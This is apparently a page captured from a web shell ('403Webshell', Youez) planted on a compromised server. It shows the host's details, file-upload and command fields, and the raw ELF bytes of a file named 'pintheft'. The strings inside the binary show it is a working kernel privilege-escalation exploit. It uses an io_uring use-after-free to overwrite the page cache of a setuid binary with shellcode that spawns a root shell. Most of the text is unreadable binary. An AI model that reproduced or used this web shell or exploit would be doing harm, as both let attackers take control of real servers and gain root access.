403Webshell
Server IP : 162.214.67.83  /  Your IP : 216.73.217.31
Web Server : Apache
System : Linux dedi-13542965.clustter.com.br 5.14.0-687.20.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jun 30 06:22:49 EDT 2026 x86_64
User : jforte ( 1063)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/ruut/build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/ruut/build/pintheft
ELF>�@�_@8@ @@@tttHH��000��pMp]p]���M�]�]��PPP$$�G�G�G  �G�G�G  S�td�G�G�G  P�td�C�C�C||Q�tdR�tdpMp]p]��GNUi�iհX4<<�Ը1��i��/lib64/ld-linux-x86-64.so.2*�*+�e�m9��FX ��
!
n>�'}����t �TuM9����� ��hbg[�"�@asnprintfsetsockoptperrorstatfcntlsched_setaffinitybindstrrchrunlinkmunmapfflushsocketforkusleepgetpidmkstempposix_fadvise_exitopen__libc_start_mainpreadexeclstderrfprintfmprotectsendmsg__cxa_finalizestrerrorkillmemcmpclosefputcwaitpidfwritesyscallmmaplibc.so.6GLIBC_2.33GLIBC_2.3.4GLIBC_2.2.5GLIBC_2.34_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTable ���*ti	5ui	A���Mp]�x]��]�2�]�2�]�2�]�2�]�2�]
3�]3�]-3�]=30a0a�_�_�_�_#�_*@a+```` `(`0`	8`
@`H`P`
X```h`p`x`�`�`�`�`�`�`�`�`�`�`�`�`�` �`!�`"�`$a%a&a'a( a)H��H��OH��t��H����5�O�%�O@�%�Oh����%�Oh�����%�Oh����%�Oh����%�Oh����%�Oh����%�Oh����%�Oh�p����%�Oh�`����%�Oh	�P����%zOh
�@����%rOh�0����%jOh� ����%bOh
�����%ZOh�����%ROh���%JOh����%BOh�����%:Oh����%2Oh����%*Oh����%"Oh����%Oh����%Oh�p����%
Oh�`����%Oh�P����%�Nh�@����%�Nh�0����%�Nh� ����%�Nh�����%�Nh�����%�Nh���%�Nh ����%�Nh!�����%�Nh"����%�Nh#����%�Nh$����%JMf�H�=p�4���������{H�=l����D������D�������H�=E����D�������H�=z����������	H�=�������H�=r������H�=W�����H�=C���H�
N�*�H�=�(���H�|$���H�=��r������[���H�|$����H�=��P������9���H�|$��H�=W�.�����H�=� ���D������H�|$�~�H�=����H�|$�c�pH�=����������H�|$�A�NH�=_����r���H�=Y���H�|$��"H�=6������}�������H�=H�|���H�Ę)L��� []A\A]A^A_����H�Ę)H�=[]A\A]A^A_�A���H�=m�5���H���H�|$�� L�������H�=#������H�=������
���f.�AV1����AUATUSH��H�|$L�l$�H�L��1�H�D$����������H�
�K��H�=},L�%HH�-;���f�L��H��������u�D$)uHI�l$I��H��u�H�
�K�$�H�=r,�]���H�Ġ�[]A\A]A^��H�=iK1�H��H�5,�H���H���@�����E1�H�==K���1���H�5�����H�t$H���D$��D$��~Ic�A���D�H�=�J1���H�5+,�����������u�E��t6Mc�O�d�f.�A�m�	I��������1�1�������M9�u�H�=�J�H�5�+1��r�����H�
vJ�2�H�=m+�0�������f.��1�I��^H��H���PTE1�1�H�=������H�f.�@H�=JH�
JH9�tH�~HH��t	�����H�=�IH�5�IH)�H��H��?H��H�H�tH�MHH��t��fD�����=�Iu+UH�=*HH��tH�=~I�����d�����I]������w����H��H��H�
cQAPQWQ�t$@APQVH�5MWQAQI��APQPRQP1�RH��QWH�= I����H�ĸ�AV�/AUATUSH��H���t���H��H�hHD��4���H���H��A��H��1��8���1�H��H��H�=�HH�5����1�1�H���1����������A�ĺ��AH��1�����A�Ņ�����H��$�DH��H��D�����H9������H��D������H��H���D�����D�����H�="HH��1�H�56����1�H��[]A\A]A^�@ff.�SH��H�H���t	H�s`�)���H�{H���t	H�sh����H�{H���t	H�sp�����;��x�8��������[�AWH��I��1�AVH�5�M��AUA�ATI��H��USH��H�=mG�X����H�=YGI�m�1�1�H��H�56�2���H�
;G�6f�A�H��H�5&1��
���H�
GH��t7H��H��tKH�DL9�rɺ�H�=����H�
�FH��u�H�ο ����H�
�F��	��.H�=��m���f�ff.�L9�s"A�</H�5F�G�<_C�H���.���I9�u�H�
bF��H�=uI������M9�s	I������H�53FH���
[]A\A]A^A_����ff.�S1�H���H�ĀH��H���H���������������$�T$@E1�A���|$dH�4��T$H��H�Kp��H��H�s`H�1�H�Sh�����H�CH����q���H�shD�A�1�������H�CH����7���H�spD�A�1������H�CH��������fn|$@fnD$0H�5�fnL$(fnd$Xfb�fn|$,��oSH�=Efb�fn|$dfl�fnD$Pfo�fo�fb�fn|$Tfo�fl�fm�fI~�fb�fl�f��fj�fb�f�f��fo�fb�fj�s �f��f��k0K@[Pj@�spP�shL�K`H�d$��D$,f�4$P�L$01��U�H��01�H��[�f�AW�0AVAUATI��USH��)H�
+DH�|$H�=����E1�1�A������"�� �[�H����3���I��1ҾH�AAAAAAAAI�~L��I�I��H��I���H)�����H���H�H��H���$�������H�=�CH��L��1�H�5�H��$�i�H�=rCL��1�H�5��Q�H��$��H��H�T$fv�H��$��HDŽ$�HDŽ$�H�H���$�DŽ$�����HDŽ$������������H��$���$�1�A�H�$H����1�L��$�HDŽ$�����9���H�
�B�?�H�="�]�H��H�%L��PH��L��L�
�H�
2H�5����H��$(H��fvҹ�HDŽ$$HDŽ$��H�H���$(DŽ$ ����HDŽ$8�������ZY�����	��$�H�$f�A���$����$���$�1��$��������H�
�A�9�H�=��W��H�
{A�H�=��:��$�n�A�Ņ���	�P	H��!N�P���H�=9AD��1�H�5���E�,$�1�H�=AH�5/E1�L�l$,���H�D$0H�D$�fD����!V��1Ҿ���Å�x�A�L��<�Ǿ�D$,A����H�L$A��ߺ��D$0������L��A��D$,�|�fD�|$P�E���L�|$Pf���H�D$XL��f�D$R�D$T�������f�H�
8"��H�4$f��H��$��$�f�D$RH��$�	A��H��$��@�$�H��$�	L��$�HDŽ$� HDŽ$�	HDŽ$�	L��$�DŽ$�HDŽ$�H��$�HDŽ$��t������E���d���H�=M?D��1����H�5��$���!V�G���H�=!?D��H�5�1���H��H�%L�PL�
lL��L��H�
�H�5��}���A[[A���*H�=�>1��D��H�5i��A�����H�\$H�=�>H�5�1�H���z�H��1�1������^�1����������Y��H��$�H��$�	���H�
;>I��"�H�=����H�
>�H�=����DE1�A������"�1���I���=�I�D$�I9�u�H�
�=��BH�=����L���������H�
�=�S�H�=��T�H��H��
L��
PL�
�
L��L��H�
�H�5�
���L�|$(H�=E=1�H�5�L���$�1�L��1���AYAZA�Ņ����1ɺL�����H���s�D�����$H�
�<�H�=���L�|$�/L���H�L�$$�H��H�@H��L��H�Q
ID�H��1��
�H��H��L��ATH��L�
0
H�
HH�5���f�L��1�1�)D$`)D$p)�$�)�$����_AXA��L�|$P��x��1ɺ@L�����D�����@L��H�=�f�fDH�}H���t
��<�H��H9�u�foH�|$0H�_XXXXXX)D$0H�D$=������H�|$0��H�<$1��fo6H�4$��H�����)�$�fo!��$)�$�fo)�$�fo)�$�fo)�$�fo)�$�fo)�$�fo)�$�=�H=�5�H�
�:�J�H�=��f�M���H��$�A�H�5>�H��$�D�(A!݃�E��D��L��H��H�$�@@@!�H�=x:@0�hL�p�@H�@ 41�h4jjh�9�H��$��E1�A����F�,�H��$�H���j1���$���Y^���8H��$���D� �������tH��$��A9�t�H��$��A9���H��$�D��A����#H��H��H�$��XH��$�D� �����KH�=s9��H�5z1��S�H��H�
L��	PL��L��L�
,
H�
6
H�5K
����1H�
$9�H�=h���H�|$(1�1�����XZ�����H�4$1ɺ�����H=������H�-r�]�L�<$��H�=EL����L����H����H�=�8���1��'�ff.�H��I��H������DA8t��H�51��A�HcÉ�A���LH�==8H�56D���1����XH�
8�H�=F���H�|$���H����H�|$��� L���.�H�Ę)[]A\A]A^A_�@1Ҿ��1�����A9�tD���3�A��A��u�1�H�=w1����H�=d1����H�=Q1����H�=S1�1�H�BH�5F�2�1��;�������?��������H�=7��H�5�H��1���H�|$������H�
�6�-�H�=������H�
�6�,�H�=s�����G�H�|$�����������H�5T1������H���M�H�=<�G�H�|$�}�L�t$H�=a61�H�5hL���@�H�5I6�
�����/L��������M��M��H�=6H�P1�H�5o���H�=�5�)��߃�����u�H�t$1�1�H�����H�=-�j�������H��H���/tmp/.backup_%s_%dopen srcopen dstwrite  %04zx:  %02x     ||
io_uring_setupmmap sq_ringmmap cq_ringmmap sqesmmap bufmprotect guardanon pageREGISTERED (+1024)refcnt:1025  FOLL_PINio_uring_register buffersio_uring clone buffers/dev/null99999/bin/sleeprefs stolen (1024)refcnt:~1  pin goneopen for fadvisemunmap bufFREED  (PCP top)DANGLING! (bvec)refcnt:0  PTE goneopen targetpread target%.18s  pg0page cache (live!)mkstempwrite payloadio_uring_enterPAGE CACHE PWNED══DMA═════▶UAF WRITE (bvec)our shellcode  \o/open target for verifypread verifyexecl/usr/bin/susched_setaffinity[*] attempt %d/%d
/usr/bin/mount/usr/bin/passwd/usr/bin/chsh/usr/bin/newgrp/usr/bin/umount/usr/bin/pkexec/mnt/suid_helper
  %s┌────────────────────┐%s               ┌──────────────────────┐               %s┌──────────────────────────┐%s
  %s│  io_uring bvec     │%s  %s%s%s  │  struct page *       │  %s%s%s  %s│  %-22.22s  │%s
  %s│  %-18.18s│%s               │  (kernel vaddr)      │               %s│  %-22.22s  │%s
  %s└────────────────────┘%s               └──────────────────────┘               %s└──────────────────────────┘%s

[*] backing up %s → %s
[+] backup created: %s
[*] %s (%zu bytes):
[*] io_uring ring ready:
      fd = %d
      sq_entries = %u  sq_ring @ %p  (sz 0x%zx)
      cq_entries = %u  cq_ring @ %p  (sz 0x%zx)
      sqes       @ %p  (sz 0x%zx, each 0x%zx bytes)
[*] === starting exploit attempt ===
[+] mapped buf=%p, guard at %p
  ┌─ page @ %p  refcount: 1 (PTE only)

[+] io_uring buffer registered (refcount now ~1025)
──────────▶[+] cloned buffers to ring2 (imu->refs now 2)
  ├─ IORING_REGISTER_CLONE_BUFFERS → imu->refs: 2
  └─ ring2 fd will block io_buffer_unmap from calling unpin_user_folio

[+] daemon pid=%d holds ring2 (prevents unpin on ring1 cleanup)
[*] stealing %d refcounts...
[*]   stolen %d/%d refs
[+] stole %d refcounts (refcount now ~1)
[-] only stole %d/%d refs — may not be enough
[-] too few stolen refs, aborting
[*] evicting %s page 0 from page cache...
[+] page cache evicted
[*] draining PCP...
[-] failed to evict page cache
[*] unmapping buf to trigger free (refcount 1 -> 0)...
[+] page freed to top of PCP — io_uring retains dangling struct page*
─X────────▶[*] reading %s to reclaim freed page into page cache...
[+] page cache populated
page cache page 0 BEFORE overwrite (legitimate ELF)[*] submitting IORING_OP_READ_FIXED to overwrite page cache...
[*] SQE[%u] IORING_OP_READ_FIXED:
       fd        = %d
       addr      = 0x%016llx
       len       = 0x%x (%u bytes)
       buf_index = %u
       off       = 0x%llx
       user_data = 0x%llx
[-] CQ timeout — no completion
[-] READ_FIXED CQE error: %d (%s)
[+] READ_FIXED completed: %d bytes written via DMA
[*] verifying page cache overwrite...
page cache page 0 AFTER overwrite (our shellcode)[+] verification PASSED — page cache overwritten with SHELL_ELF
[+] executing %s (now contains setuid(0) + execve /bin/sh)...
=== RESTORE: sudo cp /tmp/.backup_%s_%d %s && sudo chmod u+s %s ===
[-] verification FAILED — first mismatch at byte %d
[-]   expected[%d]: %02x  got[%d]: %02x
[-]   page cache page 0 was NOT overwritten — io_uring wrote to wrong page
[*] pinned to CPU 0
[+] found suid target: %s
[-] no suid binary found
[-] backup failed, aborting for safety
[-] attempt %d failed, retrying...
[-] all %d attempts failed
ELF>h8@8/bin/sh��1��iH�=���jWH��1Ұ;/tmp/.payload_XX;|������� ���j��t���X]�������p���`�����h���� ������4p���zRx����"zRx�$���`FJw�?;*3$"D��\\P��MDK B(A0A8A@DHBPAXA`HhApBxE�A�A�A�A�A�C�D�A�S@�@��B�G�B �A(�A0�J�"�0A(A BBBl��J�"����� ���PA�NH<0���B�J�L �H(�G0�A8�D@E8F0A(B BBB<�t���A�N�w�C�A�C�I�J�O�FA����@��������B�G�B �B(�I0�A8�G�S��SO�S��SA�S��SO�Sb�SA�SZ�SO�SK�SB�S��SP�SH�SB�S��SB�SB�SE�Su�SD�SO�SA�S��SO�SN�SA�S*
8A0A(B BBBEP�J����S������A
8I0A(B BBBEG
8H0A(B BBBE@����B�N�B �A(�A0�G��
0F(A BBBIDe��������GNU��GNU���2�2�2�2�2
33-3=3 
�+p]x]���o���
��_x� 
�	���o���o�	���o�ov	���o�]6FVfv��������&6FVfv��������&6FVfv0aGCC: (Debian 15.2.0-17) 15.2.0�	�G �
�M)
07
�JJ
PPX
��`
0�x
�@�
����B��
*���]P�
��
 
P$
�:HaFx]m
�yp]���G���]��C��_�� > (a$6Ja~s�8a��+������l)<(aI]q ��0a�0���PaB
�"��@a�
�
2GXk%}�8a� ���"�
�"@a5Scrt1.o__abi_tagpoc.cdraw_page_chainbackup_targetbackup_target.colduring_destroyhexdumpuring_setup.constprop.0uring_setup.constprop.0.coldattempt_exploit.constprop.0.isra.0SHELL_ELFattempt_exploit.constprop.0.isra.0.coldsuid_candidatesmain.coldcrtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.0__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entry__FRAME_END___DYNAMIC__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_start_main@GLIBC_2.34unlink@GLIBC_2.2.5_ITM_deregisterTMCloneTable_exit@GLIBC_2.2.5sendmsg@GLIBC_2.2.5setsockopt@GLIBC_2.2.5fcntl@GLIBC_2.2.5getpid@GLIBC_2.2.5_edata_finimmap@GLIBC_2.2.5snprintf@GLIBC_2.2.5strrchr@GLIBC_2.2.5close@GLIBC_2.2.5sched_setaffinity@GLIBC_2.3.4posix_fadvise@GLIBC_2.2.5fputc@GLIBC_2.2.5memcmp@GLIBC_2.2.5__data_startfprintf@GLIBC_2.2.5syscall@GLIBC_2.2.5__gmon_start__stat@GLIBC_2.33__dso_handle_IO_stdin_usedkill@GLIBC_2.2.5fflush@GLIBC_2.2.5_endmkstemp@GLIBC_2.2.5__bss_startmunmap@GLIBC_2.2.5mainbind@GLIBC_2.2.5waitpid@GLIBC_2.2.5mprotect@GLIBC_2.2.5open@GLIBC_2.2.5perror@GLIBC_2.2.5pread@GLIBC_2.2.5fwrite@GLIBC_2.2.5__TMC_END___ITM_registerTMCloneTablestrerror@GLIBC_2.2.5execl@GLIBC_2.2.5__cxa_finalize@GLIBC_2.2.5_initfork@GLIBC_2.2.5usleep@GLIBC_2.2.5stderr@GLIBC_2.2.5socket@GLIBC_2.2.5.symtab.strtab.shstrtab.note.gnu.build-id.interp.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.note.gnu.property.note.ABI-tag.init_array.fini_array.data.rel.ro.dynamic.got.plt.data.bss.commentPP$.tt6���o��(@�� H���P���ov	v	X]���o�	�	Pl 
 
�vB��x�{  `������� ��+�+	�00� ��C�C|�DD���G�G ��G�G �p]pM�x]xM��]�MP �]�M���_�O(
�_�O@(a(Q@a8Q 08QXQ�	PYH�^'

Youez - 2016 - github.com/yon3zu
LinuXploit